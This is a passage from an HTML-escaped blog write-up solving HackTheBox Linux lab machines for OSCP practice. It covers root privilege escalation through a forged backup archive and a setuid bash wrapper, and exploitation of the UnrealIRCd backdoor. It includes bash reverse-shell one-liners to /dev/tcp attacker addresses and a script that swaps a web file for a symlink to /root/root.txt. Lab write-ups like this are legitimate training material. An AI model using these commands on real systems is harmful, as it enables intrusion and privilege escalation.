filename.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0087.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0088.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0089.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start privilege escalation by gathering information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0090.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0091.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0092.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0093.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0094.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0095.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After some basic collection, the information strongly suggested using sudo tar to pivot to onuma.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0096.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0097.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create a tty.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0098.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0099.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Run the script again to gather information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0100.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0101.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0102.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0103.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used find on the .nano history but found nothing.&lt;/p&gt;&#10;&lt;p&gt;Based on the mysql history, I tried connecting to the database, but unfortunately the connection failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0104.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, pspy helped me find something interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0105.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was exactly the same as the entry in the mysql history.&lt;/p&gt;&#10;&lt;p&gt;I looked it up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0106.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Clearly, all of the entries above were scheduled tasks, but my permissions were insufficient, so they were not shown to me.&lt;/p&gt;&#10;&lt;p&gt;(After finishing and reading a write-up, I learned that locate can show how often it runs. find can as well, of course, but I did not think of it at the time. At least the direction was correct.)&lt;/p&gt;&#10;&lt;p&gt;The assigned permissions prevented me from finding it. Let&amp;rsquo;s inspect its contents.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0107.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through all of it. Every variable was hard-coded and could not be substituted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0108.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, it moves this backup file into the directory in the $tmpfile variable with root privileges. We need to forge the archive at $tmpfile.&lt;/p&gt;&#10;&lt;p&gt;There is no race-condition issue because it waits for 30 seconds.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0109.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the variable description, it needs to compare:&lt;/p&gt;&#10;&lt;p&gt;/var/www/html&lt;/p&gt;&#10;&lt;p&gt;/var/tmp/var/www/html&lt;/p&gt;&#10;&lt;p&gt;If they differ it returns 1 and reports an error; if they match it returns 0.&lt;/p&gt;&#10;&lt;p&gt;What we need to do is actually very simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0110.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0111.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;tmp can be changed freely. Write a file and replace the archived tmp file; the tmpfile variable is /var/tmp.&lt;/p&gt;&#10;&lt;p&gt;There are many files below it. Watch the processes with pspy and replace the file as soon as it runs.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0112.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Write the bash script. If everything is correct, granting it execute permissions and running it will launch a reverse shell. Writing su root may also work.&lt;/p&gt;&#10;&lt;p&gt;Package it as a file. Based on the basedir directory structure, it should contain /var/www/html.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0113.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Package it as 111.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0114.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0115.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Replace it as soon as it appears. It successfully triggers check.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0116.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the permissions on 1.sh were still onuma&amp;rsquo;s, and after extraction it became a binary file. Everything was gone.&lt;/p&gt;&#10;&lt;p&gt;There were major problems with this step. First, the contents were corrupted into binary gibberish, and second, the permissions were wrong.&lt;/p&gt;&#10;&lt;p&gt;linux has a useful behavior: if I set its permissions on kali, package it, and send it to the target, it retains the permissions from kali when extracted on the target.&lt;/p&gt;&#10;&lt;p&gt;So I packaged a bash file with rwsr-sr-x permissions and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0117.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The permissions were correct on the target, but execution still failed. After looking it up, I learned that:&lt;/p&gt;&#10;&lt;p&gt;On Unix/Linux systems, SUID (set user ID) may behave differently for binary executables and scripts. Many modern Linux distributions place additional security restrictions on SUID scripts to prevent potential security risks. This means that even with SUID set, a script may still fail to execute as expected and instead run as an ordinary user.&lt;/p&gt;&#10;&lt;p&gt;Sometimes suid or sudo can be used directly for privilege escalation, but that clearly did not work here.&lt;/p&gt;&#10;&lt;p&gt;So sudo was still required to execute it. In other words, a binary can work without sudo, but a bash script like this still needs sudo.&lt;/p&gt;&#10;&lt;p&gt;I had to upload a binary file here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;unistd.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;void main() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execl(&amp;#34;/bin/bash&amp;#34;, &amp;#34;bash&amp;#34;, &amp;#34;-p&amp;#34;, NULL);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The target machine was 32-bit.&lt;/p&gt;&#10;&lt;p&gt;gcc 1.c -o 1 -m32&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0118.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Package it and upload it to the target machine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0119.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still reported an error. This was getting ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0120.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;gcc -static -m32 -o 1 1.c&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0121.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That finally completed it. Interestingly, I saw a write-up with a very good approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# work out of shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd /dev/shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# set both start and cur equal to any backup file if it&amp;#39;s there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# loop until there&amp;#39;s a change in cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for archive filename to change...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while [ &amp;#34;$start&amp;#34; == &amp;#34;$cur&amp;#34; -o &amp;#34;$cur&amp;#34; == &amp;#34;&amp;#34; ] ; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 10;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Grab a copy of the archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;File changed... copying here&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp $cur .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# get filename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fn=$(echo $cur | cut -d&amp;#39;/&amp;#39; -f4)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# extract archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -zxf $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove robots.txt and replace it with link to root.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ln -s /root/root.txt var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove old archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# create new archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar czf $fn var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# put it back, and clean up&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv $fn $cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -rf var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# wait for results&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for new logs...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tail -f /var/backups/onuma_backup_error.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I read through the code.&lt;/p&gt;&#10;&lt;p&gt;It gets files in that directory whose names start with a dot, then hard-codes the result. An infinite loop checks for changes: if the file list has not changed, it keeps looping; if it has changed, it assigns the result to cur, moves the target file into the working directory defined above, extracts it, deletes robots.txt, replaces it with an ln link to /root/root.txt, moves and renames the file, and deletes the temporary files.&lt;/p&gt;&#10;&lt;p&gt;As for why onuma_backup_error.txt contains the flag, the answer is all in backeruperer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0122.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;errormsg is defined as this file.&lt;/p&gt;&#10;&lt;p&gt;The integrity_chk function calls diff -r, which compares every directory and file and also outputs any differences it encounters.&lt;/p&gt;&#10;&lt;p&gt;Here it writes the error information to errormsg, which is the onuma_backup_error.txt file from earlier.&lt;/p&gt;&#10;&lt;p&gt;That is how the flag can be obtained.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0123.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This script&amp;rsquo;s logic is so clear that it almost feels like the author wrote it.&lt;/p&gt;&#10;&lt;p&gt;This one machine took me from the afternoon until the evening, and I ran into a huge number of pitfalls. At least this was not the exam and I learned a lot; hitting these problems during the exam would be fatal.&lt;/p&gt;&#10;&lt;h2 id="8irked"&gt;&lt;a href="#8irked" class="header-anchor"&gt;&lt;/a&gt;8.Irked&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0124.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0125.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Connect to ssh and see whether it provides any hints.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Check port 80.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;I had forgotten about irc, so I searched and found that I had used it before: &lt;a class="link" href="https://en.wikipedia.org/wiki/IRC" target="_blank" rel="noopener"&#10; &gt;https://en.wikipedia.org/wiki/IRC&lt;/a&gt;. hexchat is a chat tool. The target had the default port 6697 open, along with ports 8067 and 65534. The version was UnrealIRCd, and the administrator&amp;rsquo;s email address was also available.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;4.ircbind &lt;a class="link" href="https://blog.csdn.net/ichen820/article/details/120365560" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/ichen820/article/details/120365560&lt;/a&gt; is a good article. It is related to nfs, but the nfs port was not open.&lt;/p&gt;&#10;&lt;p&gt;I checked all of it.&lt;/p&gt;&#10;&lt;p&gt;ssh had nothing. Port 80 had a manual page, and brute-forcing did not reveal anything either.&lt;/p&gt;&#10;&lt;p&gt;I looked into irc; just launch hexchat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0126.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The list contained nothing. I checked every port; they all exposed the same service.&lt;/p&gt;&#10;&lt;p&gt;While brute-forcing port 80, I also checked for framework vulnerabilities. Only UnrealIRCd had one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0127.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read the code. It was a perl script where you just fill in the parameters, and it was not difficult to understand.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0128.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of the included URLs worked anymore, so just construct the payload yourself.&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1'&lt;/p&gt;&#10;&lt;p&gt;I sent the payload to all three ports with no effect at all. I searched for ages afterward and could not find anything. I was completely out of options.&lt;/p&gt;&#10;&lt;p&gt;I checked a write-up, and it used this exact payload. I tried again, and it still did not work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0129.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only later did I learn that everyone either sent it manually or wrote their own script. Mine simply would not connect because the script had a bug.&lt;/p&gt;&#10;&lt;p&gt;Sometimes, when a simple exp does not work, you can construct it manually.&lt;/p&gt;&#10;&lt;p&gt;I learned my lesson: I could not use the included script. There was also an msf exp, but it is best not to use that for oscp.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s read the code and see how to construct it manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0130.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In this section, a tcp socket connects to the target ip/port, and reports an error if the connection fails.&lt;/p&gt;&#10;&lt;p&gt;Once connected, it calls the socket to send data, which is the previous payload. Leave its payload as unchanged as possible and simply add AB; in front.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0131.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully connected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0132.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The target was far too slow. The perl script sends the exp as soon as it connects, but how could it execute immediately? It needs to wait. I suspected the lag was the problem, and adding a sleep made the script work after all.&lt;/p&gt;&#10;&lt;p&gt;Sure enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0133.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0134.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still had not analyzed it thoroughly enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0135.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wasted a great deal of time here. The exp author probably did not account for this.&lt;/p&gt;&#10;&lt;p&gt;Now start privilege escalation. First, open another shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0136.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6666 &amp;lt;&amp;amp;1&amp;rsquo; &amp;gt; cmd.out 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;I reviewed every conf file in the current directory but found no useful information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0137.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was also a djmardov home directory, so I most likely needed to pivot to that user.&lt;/p&gt;&#10;&lt;p&gt;I found an exp based on the version, but it had no 